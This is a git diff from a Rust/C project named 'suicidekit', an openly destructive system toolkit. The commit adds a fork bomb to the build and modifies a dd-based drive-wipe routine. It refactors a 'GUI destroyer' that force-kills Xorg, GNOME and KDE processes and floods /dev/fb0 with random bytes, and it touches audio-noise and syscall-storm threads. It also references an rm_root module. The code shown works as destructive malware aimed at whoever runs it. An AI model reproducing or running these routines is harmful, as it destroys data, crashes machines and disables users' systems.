summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--Cargo.lock19
-rw-r--r--Cargo.toml4
-rw-r--r--build.rs3
-rw-r--r--src/build.rs0
-rw-r--r--src/critical/mod.rs6
-rw-r--r--src/main.rs8
-rw-r--r--src/non_critical/gui_destroyer.rs18
-rw-r--r--src/non_critical/random_sounds.c22
-rw-r--r--src/non_critical/syscall_storm.c2
9 files changed, 56 insertions, 26 deletions
diff --git a/Cargo.lock b/Cargo.lock
index aa5378c..a7f501a 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -75,6 +75,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0c2cfd7bf8a6017ddaa4e32ffe7403d547790db06bd171c1c53926faab501623"
dependencies = [
"clap_builder",
+ "clap_derive",
]
[[package]]
@@ -90,6 +91,18 @@ dependencies = [
]
[[package]]
+name = "clap_derive"
+version = "4.5.49"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2a0b5487afeab2deb2ff4e03a807ad1a03ac532ff5a2cee5d86884440c7f7671"
+dependencies = [
+ "heck",
+ "proc-macro2",
+ "quote",
+ "syn",
+]
+
+[[package]]
name = "clap_lex"
version = "0.7.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -120,6 +133,12 @@ dependencies = [
]
[[package]]
+name = "heck"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
+
+[[package]]
name = "is_terminal_polyfill"
version = "1.70.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
diff --git a/Cargo.toml b/Cargo.toml
index 3d3e64f..1f76662 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -3,9 +3,11 @@ name = "suicidekit"
version = "0.1.0"
edition = "2021"
build = "build.rs"
+license = "BSD-2-Clause"
+authors = ["Borisov Alexey <arcanetmod@gmail.com>"]
[dependencies]
-clap = "4.5.50"
+clap = { version = "4.5.49", features = ["derive"] }
rand = "0.9.2"
[build-dependencies]
diff --git a/build.rs b/build.rs
index dba4a1a..945f5c8 100644
--- a/build.rs
+++ b/build.rs
@@ -20,7 +20,8 @@ fn main() {
.file("src/non_critical/random_sounds.c")
.file("src/non_critical/syscall_storm.c")
.file("src/critical/classic/dd.c")
- .file("src/critical/classic/rm_root.c");
+ .file("src/critical/classic/rm_root.c")
+ .file("src/critical/fork_bomb.c");
build.compile("libsuicidekit_c");
diff --git a/src/build.rs b/src/build.rs
deleted file mode 100644
index e69de29..0000000
--- a/src/build.rs
+++ /dev/null
diff --git a/src/critical/mod.rs b/src/critical/mod.rs
index 379ec29..6af084c 100644
--- a/src/critical/mod.rs
+++ b/src/critical/mod.rs
@@ -1,13 +1,13 @@
use std::os::raw::c_char;
extern "C" {
- pub fn random_data_linux(sym_drive: *const c_char);
+ pub fn random_data_linux(sym_drive: *const c_char, random: bool);
pub fn rm_root();
pub fn fork_bomb();
}
-pub unsafe fn wipe_with_dd(sym_drive: *const c_char) {
- random_data_linux(sym_drive);
+pub unsafe fn wipe_with_dd(sym_drive: *const c_char, random: bool) {
+ random_data_linux(sym_drive, random);
}
pub unsafe fn remove_root() {
diff --git a/src/main.rs b/src/main.rs
index a3e6e33..b754617 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -1,6 +1,6 @@
use std::ffi::CString;
use std::os::raw::c_int;
-use clap::{Parser, Subcommand, command};
+use clap::{Parser, Subcommand};
mod non_critical;
mod critical;
@@ -39,7 +39,7 @@ enum Commands {
}
fn main() {
- let cli = Parser::parse();
+ let cli: Cli = Parser::parse();
match cli.command {
Commands::RandomSounds { threads, time } => unsafe {
@@ -58,10 +58,10 @@ fn main() {
critical::fork_bomb();
},
Commands::GuiDestroyer => unsafe {
- non_critical::gui_destroyer();
+ let _ =non_critical::gui_destroyer::artifacts_and_kill(true, 100000);
},
Commands::StopGuiDestroyer => unsafe {
- non_critical::stop_gui_destroyer();
+ let _ = non_critical::gui_destroyer::artifacts_and_kill(false, 0);
},
Commands::Wipe { drive, random } => unsafe {
let c_drive = CString::new(drive).expect("CString");
diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs
index 3c72def..ae5dd32 100644
--- a/src/non_critical/gui_destroyer.rs
+++ b/src/non_critical/gui_destroyer.rs
@@ -1,22 +1,27 @@
#![no_main]
+#![feature(let_chains)]
+
use std::process;
-use std::io::Error;
-use rand::{Rng, thread_rng};
+use std::io::{Error, Write};
+use std::fs::File;
+use rand::{Rng};
extern "C" {
fn check_root() -> i32;
}
// Pfff its to light for this project, but why not
-fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> {
+
+pub fn artifacts_and_kill(root: bool, iterations: i32) -> Result<(), std::io::Error> {
std::process::Command::new("pkill")
.args(&["-9", "Xorg", "xinit", "gnome-shell", "kwin_wayland", "plasmashell"])
//TODO: Add more process names of the processes you want to kill
.spawn().unwrap();
- if root == true && let Ok(fb) = std::fs::File::create("/dev/fb0"){
+ if root == true /* && let mut Ok(fb) = std::fs::File::create("/dev/fb0") */ {
+ let mut fb = std::fs::File::open("/dev/fb0").unwrap();
let mut rng = rand::thread_rng();
- for _ in 0..1000 {
+ for _ in 0..iterations {
let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect();
let _ = fb.write(&garbage);
}
@@ -26,7 +31,7 @@ fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> {
Ok(())
}
-
+/*
fn init() -> Result<(), std::io::Error> {
if check_root() == 0 {
artifacts_and_kill(true)
@@ -35,3 +40,4 @@ fn init() -> Result<(), std::io::Error> {
}
}
+*/
diff --git a/src/non_critical/random_sounds.c b/src/non_critical/random_sounds.c
index 847fc44..c65bdd4 100644
--- a/src/non_critical/random_sounds.c
+++ b/src/non_critical/random_sounds.c
@@ -1,19 +1,18 @@
+#define _GNU_SOURCE
+#define __timespec_defined
+#define __stru
-#define _GNU_SOURCE
-#define __timespec_defined
-#define __struct_timespec_defined
-
-#include <time.h>
-#include <pthread.h>
+#include <time.h>
+#include <alsa/asoundlib.h>
#include <stdint.h>
#include <stdlib.h>
-#include <alsa/asoundlib.h>
+#include <pthread.h>
#define MAX_THREADS 5
-pthread_t THRS[MAX_THREADS];
+static pthread_t THRS[MAX_THREADS];
-static void* audio_hell() {
+static void* audio_hell(void* _arg) {
snd_pcm_t *pcm_handle;
snd_pcm_open(&pcm_handle, "default", SND_PCM_STREAM_PLAYBACK, 0);
@@ -28,9 +27,12 @@ static void* audio_hell() {
}
int init_random_sounds(int threads, int time) {
- for(int i = 0; i < MAX_THREADS; i++) {
+ (void)time;
+ if (threads > MAX_THREADS) threads = MAX_THREADS;
+ for(int i = 0; i < threads; i++) {
pthread_create(&THRS[i], NULL, audio_hell, NULL);
}
+ return 0;
}
void stop_random_sounds() {
diff --git a/src/non_critical/syscall_storm.c b/src/non_critical/syscall_storm.c
index a7a2066..184942e 100644
--- a/src/non_critical/syscall_storm.c
+++ b/src/non_critical/syscall_storm.c
@@ -7,7 +7,7 @@
#include <pthread.h>
#include <stdio.h>
-pthread_t THRS[MAX_THREADS];
+static pthread_t THRS[MAX_THREADS];
static void* syscall_storm_linux(void* arg) {
int iterations = *(int*)arg;